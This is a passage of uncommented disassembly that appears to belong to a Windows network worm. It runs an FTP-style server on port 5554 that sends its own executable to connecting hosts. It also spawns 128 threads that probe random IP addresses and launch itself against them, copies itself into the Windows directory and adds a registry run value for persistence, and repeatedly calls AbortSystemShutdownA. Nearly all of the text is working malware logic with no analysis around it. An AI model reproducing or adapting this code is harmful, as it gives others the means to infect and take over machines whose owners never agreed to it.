var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8E4h
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 0FFFFFFFFh
		jz	loc_401E29
		push	esi
		push	edi
		push	0
		push	ds:off_4068D0
		call	sub_402210
		mov	esi, ds:dword_4050F0
		pop	ecx
		push	eax
		push	ds:off_4068D0
		push	ebx
		call	esi	; send
		mov	edi, [ebp+arg_0]
		jmp	short loc_401B46
; ---------------------------------------------------------------------------


loc_401B43:				; CODE XREF: sub_401B08+310j
		mov	ebx, [ebp+arg_0]


loc_401B46:				; CODE XREF: sub_401B08+39j
		push	0
		lea	eax, [ebp+var_4E4]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_4050EC	; recv
		and	[ebp+eax+var_4E4], 0
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4E4]
		push	offset aUser	; "USER"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401B97
		push	0
		push	ds:off_4068D4
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068D4
		jmp	loc_401E11
; ---------------------------------------------------------------------------


loc_401B97:				; CODE XREF: sub_401B08+73j
		lea	eax, [ebp+var_4E4]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401BC8
		push	0
		push	ds:off_4068D8
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068D8
		jmp	loc_401E11
; ---------------------------------------------------------------------------


loc_401BC8:				; CODE XREF: sub_401B08+A4j
		lea	eax, [ebp+var_4E4]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401CA4
		lea	eax, [ebp+var_4E0]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_402720
		mov	ax, ds:word_406A60
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_402680
		add	esp, 10h
		mov	ebx, eax
		xor	edi, edi


loc_401C17:				; CODE XREF: sub_401B08+159j
		test	ebx, ebx
		jz	short loc_401C4B
		cmp	edi, 4
		jge	short loc_401C2E
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+edi*4+var_38], eax
		cmp	edi, 4


loc_401C2E:				; CODE XREF: sub_401B08+116j
		jnz	short loc_401C3A
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+var_18], eax


loc_401C3A:				; CODE XREF: sub_401B08:loc_401C2Ej
		cmp	edi, 5
		jnz	short loc_401C4E
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_401C4E
; ---------------------------------------------------------------------------


loc_401C4B:				; CODE XREF: sub_401B08+111j
		push	6
		pop	edi


loc_401C4E:				; CODE XREF: sub_401B08+135j
					; sub_401B08+141j
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_402680
		inc	edi
		pop	ecx
		cmp	edi, 6
		pop	ecx
		mov	ebx, eax
		jl	short loc_401C17
		push	[ebp+var_2C]
		mov	edi, [ebp+var_18]
		lea	eax, [ebp+var_60]
		push	[ebp+var_30]
		shl	edi, 8
		push	[ebp+var_34]
		add	edi, [ebp+var_14]
		push	[ebp+var_38]
		push	offset aI_I_I_I	; "%i.%i.%i.%i"
		push	eax
		call	ds:dword_4050E0	; wsprintfA
		add	esp, 18h
		push	0
		push	ds:off_4068E0
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068E0
		jmp	loc_401DD7
; ---------------------------------------------------------------------------


loc_401CA4:				; CODE XREF: sub_401B08+D5j
		lea	eax, [ebp+var_4E4]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401DDC
		push	0
		push	ds:off_4068E4
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068E4
		push	ebx
		call	esi	; send
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_4011D5
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_401DB9
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		mov	[ebp+var_28], 2
		push	edi
		call	ds:dword_4050F4	; ntohs
		push	0
		push	1
		push	2
		mov	[ebp+var_26], ax
		mov	[ebp+var_24], ebx
		call	ds:dword_4050F8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp+var_C], ebx
		jz	loc_401DB9
		lea	eax, [ebp+var_28]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D44
		push	ebx
		call	ds:dword_40511C	; closesocket
		jmp	short loc_401DB9
; ---------------------------------------------------------------------------


loc_401D44:				; CODE XREF: sub_401B08+231j
		lea	eax, [ebp+var_8E4]
		push	400h
		push	eax
		push	0
		call	ds:dword_405034	; GetModuleFileNameA
		lea	eax, [ebp+var_8E4]
		push	0
		push	eax
		call	ds:dword_405030	; _lopen
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jz	short loc_401DB9
		lea	eax, [ebp+var_2]
		push	offset dword_406F38
		push	eax
		call	sub_402720
		mov	ebx, ds:dword_40502C
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	[ebp+var_8]


loc_401D8E:				; CODE XREF: sub_401B08+2A6j
		call	ebx	; _lread
		cmp	eax, 1
		jnz	short loc_401DB0
		and	[ebp+var_1], 0
		push	0
		push	eax
		lea	eax, [ebp+var_2]
		push	eax
		push	[ebp+var_C]
		call	esi	; send
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	[ebp+var_8]
		jmp	short loc_401D8E
; ---------------------------------------------------------------------------


loc_401DB0:				; CODE XREF: sub_401B08+28Bj
		push	[ebp+var_8]
		call	ds:dword_40501C	; _lclose


loc_401DB9:				; CODE XREF: sub_401B08+1DDj
					; sub_401B08+21Bj ...
		push	[ebp+var_C]
		call	ds:dword_40511C	; closesocket
		push	0
		push	ds:off_4068DC
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068DC


loc_401DD7:				; CODE XREF: sub_401B08+197j
		push	[ebp+arg_0]
		jmp	short loc_401E12
; ---------------------------------------------------------------------------


loc_401DDC:				; CODE XREF: sub_401B08+1B1j
		lea	eax, [ebp+var_4E4]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401DFC
		push	ebx
		call	ds:dword_40511C	; closesocket
		jmp	short loc_401E14
; ---------------------------------------------------------------------------


loc_401DFC:				; CODE XREF: sub_401B08+2E9j
		push	0
		push	ds:off_4068DC
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068DC


loc_401E11:				; CODE XREF: sub_401B08+8Aj
					; sub_401B08+BBj
		push	ebx


loc_401E12:				; CODE XREF: sub_401B08+2D2j
		call	esi	; send


loc_401E14:				; CODE XREF: sub_401B08+2F2j
		cmp	[ebp+var_10], 0
		jg	loc_401B43
		push	[ebp+arg_0]
		call	ds:dword_40511C	; closesocket
		pop	edi
		pop	esi


loc_401E29:				; CODE XREF: sub_401B08+10j
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_401B08	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E30	proc near		; CODE XREF: sub_401B08+119p
					; sub_401B08+129p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi


loc_401E38:				; CODE XREF: sub_401E30+13j
		mov	al, [esi]
		cmp	al, 20h
		jz	short loc_401E42
		cmp	al, 9
		jnz	short loc_401E45


loc_401E42:				; CODE XREF: sub_401E30+Cj
		inc	esi
		jmp	short loc_401E38
; ---------------------------------------------------------------------------


loc_401E45:				; CODE XREF: sub_401E30+10j
					; sub_401E30+2Ej
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_402810
		test	eax, eax
		pop	ecx
		jz	short loc_401E60
		movsx	ecx, byte ptr [esi]
		lea	eax, [edi+edi*4]
		inc	esi
		lea	edi, [ecx+eax*2-30h]
		jmp	short loc_401E45
; ---------------------------------------------------------------------------


loc_401E60:				; CODE XREF: sub_401E30+21j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_401E30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E65	proc near		; DATA XREF: sub_402029+79o

var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	1
		push	2
		call	ds:dword_4050F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_401E89


loc_401E81:				; CODE XREF: sub_401E65+63j
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_401E89:				; CODE XREF: sub_401E65+1Aj
		push	15B2h
		mov	[ebp+var_14], 2
		call	ds:dword_4050F4	; ntohs
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_10], esi
		call	ds:dword_405118	; bind
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401EC1
		push	5
		push	edi
		call	ds:dword_405100	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401ECA


loc_401EC1:				; CODE XREF: sub_401E65+4Cj
		push	edi
		call	ds:dword_40511C	; closesocket
		jmp	short loc_401E81
; ---------------------------------------------------------------------------


loc_401ECA:				; CODE XREF: sub_401E65+5Aj
					; sub_401E65+89j
		push	esi
		push	esi
		push	edi
		call	ds:dword_4050E8	; accept
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		push	eax
		push	offset sub_401B08
		push	esi
		push	esi
		call	ds:dword_405038	; CreateThread
		push	19h
		call	ds:dword_405028	; Sleep
		jmp	short loc_401ECA
sub_401E65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401EF0	proc near		; DATA XREF: sub_402029+8Do

var_454		= byte ptr -454h
var_438		= byte ptr -438h
var_400		= byte ptr -400h

		sub	esp, 454h
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4050E0
		push	esi
		push	edi
		mov	esi, 0FFh


loc_401F05:				; CODE XREF: sub_401EF0+134j
		lea	eax, [esp+464h+var_438]
		push	eax
		call	sub_4010D2
		pop	ecx
		lea	eax, [esp+464h+var_438]
		push	eax
		call	ds:dword_40510C	; inet_addr
		movsx	edi, al
		test	edi, edi
		movsx	ebx, ah
		jge	short loc_401F2B
		add	edi, 100h


loc_401F2B:				; CODE XREF: sub_401EF0+33j
		test	ebx, ebx
		jge	short loc_401F35
		add	ebx, 100h


loc_401F35:				; CODE XREF: sub_401EF0+3Dj
		call	sub_401000
		push	1Fh
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Fh
		jle	short loc_401F92
		call	sub_401000
		push	1Fh
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Fh
		jle	short loc_401F78
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		jmp	short loc_401F8F
; ---------------------------------------------------------------------------


loc_401F78:				; CODE XREF: sub_401EF0+63j
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		push	ebx


loc_401F8F:				; CODE XREF: sub_401EF0+86j
		push	edi
		jmp	short loc_401FBE
; ---------------------------------------------------------------------------


loc_401F92:				; CODE XREF: sub_401EF0+53j
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx


loc_401FBE:				; CODE XREF: sub_401EF0+A0j
		lea	eax, [esp+474h+var_454]
		push	offset aI_I_I_I	; "%i.%i.%i.%i"
		push	eax
		call	ebp	; wsprintfA
		add	esp, 18h
		lea	eax, [esp+464h+var_454]
		push	eax
		call	sub_401153
		cmp	al, 1
		pop	ecx
		jnz	short loc_40201C
		lea	eax, [esp+464h+var_400]
		push	400h
		push	eax
		push	0
		call	ds:dword_405034	; GetModuleFileNameA
		lea	eax, [esp+464h+var_400]
		push	offset asc_406A7C ; " "
		push	eax
		call	sub_402730
		lea	eax, [esp+46Ch+var_454]
		push	eax
		lea	eax, [esp+470h+var_400]
		push	eax
		call	sub_402730
		add	esp, 10h
		lea	eax, [esp+464h+var_400]
		push	0
		push	eax
		call	ds:dword_40503C	; WinExec


loc_40201C:				; CODE XREF: sub_401EF0+EAj
		push	19h
		call	ds:dword_405028	; Sleep
		jmp	loc_401F05
sub_401EF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402029	proc near		; CODE XREF: sub_40283E+C9p

var_14		= dword	ptr -14h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		mov	edi, ds:dword_405048
		xor	esi, esi
		push	offset aJobaka3	; "Jobaka3"
		push	esi
		push	esi
		call	edi	; CreateMutexA
		call	ds:dword_405044	; GetTickCount
		push	eax
		call	sub_40101E
		call	sub_401028
		push	[ebp+arg_8]
		call	sub_402210
		pop	ecx
		test	eax, eax
		pop	ecx
		jbe	short loc_402072
		push	[ebp+arg_8]
		call	sub_401A84
		pop	ecx
		push	1
		pop	eax


loc_40206C:				; CODE XREF: sub_402029+6Aj
		pop	edi
		pop	esi
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_402072:				; CODE XREF: sub_402029+35j
		push	1
		call	sub_4020D7
		mov	[esp+14h+var_14], offset aJumpallsnlstil ; "JumpallsNlsTillt"
		push	esi
		push	esi
		call	edi	; CreateMutexA
		call	ds:dword_405040	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_402095
		xor	eax, eax
		jmp	short loc_40206C
; ---------------------------------------------------------------------------


loc_402095:				; CODE XREF: sub_402029+66j
		mov	edi, ds:dword_405038
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		push	esi
		push	esi
		push	offset sub_401E65
		push	esi
		push	esi
		call	edi	; CreateThread
		mov	ebx, 80h


loc_4020B0:				; CODE XREF: sub_402029+97j
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	esi
		push	offset sub_401EF0
		push	esi
		push	esi
		call	edi	; CreateThread
		dec	ebx
		jnz	short loc_4020B0
		pop	ebx


loc_4020C3:				; CODE XREF: sub_402029+ACj
		push	esi
		call	ds:dword_405000	; AbortSystemShutdownA
		push	0BB8h
		call	ds:dword_405028	; Sleep
		jmp	short loc_4020C3
sub_402029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020D7	proc near		; CODE XREF: sub_402029+4Bp

var_824		= byte ptr -824h
var_425		= byte ptr -425h
var_424		= byte ptr -424h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 824h
		push	esi
		mov	esi, 400h
		lea	eax, [ebp+var_824]
		push	esi
		push	eax
		push	0
		call	ds:dword_405034	; GetModuleFileNameA
		lea	eax, [ebp+var_424]
		push	esi
		push	eax
		call	ds:dword_405050	; GetWindowsDirectoryA
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402210
		cmp	[ebp+eax+var_425], 5Ch
		pop	ecx
		pop	esi
		jz	short loc_40212F
		lea	eax, [ebp+var_424]
		push	offset asc_406ACC ; "\\"
		push	eax
		call	sub_402730
		pop	ecx
		pop	ecx


loc_40212F:				; CODE XREF: sub_4020D7+43j
		push	ds:off_4068C8
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402730
		cmp	[ebp+arg_0], 0
		pop	ecx
		pop	ecx
		jz	short loc_40215F
		lea	eax, [ebp+var_424]
		push	0
		push	eax
		lea	eax, [ebp+var_824]
		push	eax
		call	ds:dword_40504C	; CopyFileA


loc_40215F:				; CODE XREF: sub_4020D7+70j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	ds:dword_405004	; RegOpenKeyA
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402210
		pop	ecx
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		push	1
		push	0
		push	ds:off_4068C8
		push	[ebp+var_4]
		call	ds:dword_405008	; RegSetValueExA
		push	[ebp+var_4]
		call	ds:dword_40500C	; RegCloseKey
		leave
		retn
sub_4020D7	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4021B0	proc near		; CODE XREF: sub_401153+10p
					; sub_401153+40p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_402203
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4021F7
		neg	ecx
		and	ecx, 3
		jz	short loc_4021D9
		sub	edx, ecx


loc_4021D3:				; CODE XREF: sub_4021B0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4021D3


loc_4021D9:				; CODE XREF: sub_4021B0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4021F7
		rep stosd
		test	edx, edx
		jz	short loc_4021FD


loc_4021F7:				; CODE XREF: sub_4021B0+18j
					; sub_4021B0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4021F7


loc_4021FD:				; CODE XREF: sub_4021B0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_402203:				; CODE XREF: sub_4021B0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_4021B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402210	proc near		; CODE XREF: sub_401210+3Ep
					; sub_401210+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_402230


loc_40221C:				; CODE XREF: sub_402210+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_402263
		test	ecx, 3
		jnz	short loc_40221C
		add	eax, 0


loc_402230:				; CODE XREF: sub_402210+Aj
					; sub_402210+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_402230
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_402281
		test	ah, ah
		jz	short loc_402277
		test	eax, 0FF0000h
		jz	short loc_40226D
		test	eax, 0FF000000h
		jz	short loc_402263
		jmp	short loc_402230
; ---------------------------------------------------------------------------


loc_402263:				; CODE XREF: sub_402210+11j
					; sub_402210+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40226D:				; CODE XREF: sub_402210+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_402277:				; CODE XREF: sub_402210+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_402281:				; CODE XREF: sub_402210+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_402210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402290	proc near		; CODE XREF: sub_401398+59p
					; sub_401398+78p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4022B0
		cmp	edi, eax
		jb	loc_402428


loc_4022B0:				; CODE XREF: sub_402290+16j
		test	edi, 3
		jnz	short loc_4022CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------


loc_4022CC:				; CODE XREF: sub_402290+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4022E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4022EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4022E4:				; CODE XREF: sub_402290+46j
		jmp	dword ptr ds:loc_4023E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4022EC:				; CODE XREF: sub_402290+31j
					; sub_402290+8Ej ...
		jmp	ds:off_40236C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_402300
		dd offset loc_40232C
; ---------------------------------------------------------------------------
		push	eax
		and	eax, [eax+0]


loc_402300:				; DATA XREF: sub_402290+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40232C:				; DATA XREF: sub_402290+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40236C	dd offset loc_4023CF	; DATA XREF: sub_402290:loc_4022ECr
		dd offset loc_4023BC
		dd offset loc_4023B4
		dd offset loc_4023AC
		dd offset loc_4023A4
		dd offset loc_40239C
		dd offset loc_402394
		dd offset loc_40238C
; ---------------------------------------------------------------------------


loc_40238C:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_402394:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40239C:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4023A4:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4023AC:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4023B4:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4023BC:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4023CF:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290:off_40236Co
		jmp	ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4023D8	dd offset loc_4023E8	; DATA XREF: sub_402290+35r
					; sub_402290+92r ...
		dd offset loc_4023F0
		dd offset loc_4023FC
		dd offset loc_402410
; ---------------------------------------------------------------------------


loc_4023E8:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4023F0:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4023FC:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_402410:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_402428:				; CODE XREF: sub_402290+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40245C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_402450
		std
		rep movsd
		cld
		jmp	ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_402450:				; CODE XREF: sub_402290+1B1j
					; sub_402290+208j ...
		neg	ecx
		jmp	ds:off_402520[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40245C:				; CODE XREF: sub_402290+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_402474
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_402474+4[eax*4]
; ---------------------------------------------------------------------------


loc_402474:				; CODE XREF: sub_402290+1D6j
					; DATA XREF: sub_402290+1DDr
		jmp	ds:off_402570[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[eax+eax*2], ah
		add	[eax-2FFFBFDCh], ch
		and	al, 40h
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_402450
		std
		rep movsd
		cld
		jmp	ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_402450
		std
		rep movsd
		cld
		jmp	ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_402450
		std
		rep movsd
		cld
		jmp	ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_402524
		dd offset loc_40252C
		dd offset loc_402534
		dd offset loc_40253C
		dd offset loc_402544
		dd offset loc_40254C
		dd offset loc_402554
off_402520	dd offset loc_402567	; DATA XREF: sub_402290+1C2r
; ---------------------------------------------------------------------------


loc_402524:				; DATA XREF: sub_402290+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40252C:				; DATA XREF: sub_402290+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_402534:				; DATA XREF: sub_402290+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40253C:				; DATA XREF: sub_402290+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_402544:				; DATA XREF: sub_402290+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40254C:				; DATA XREF: sub_402290+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_402554:				; DATA XREF: sub_402290+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_402567:				; CODE XREF: sub_402290+1C2j
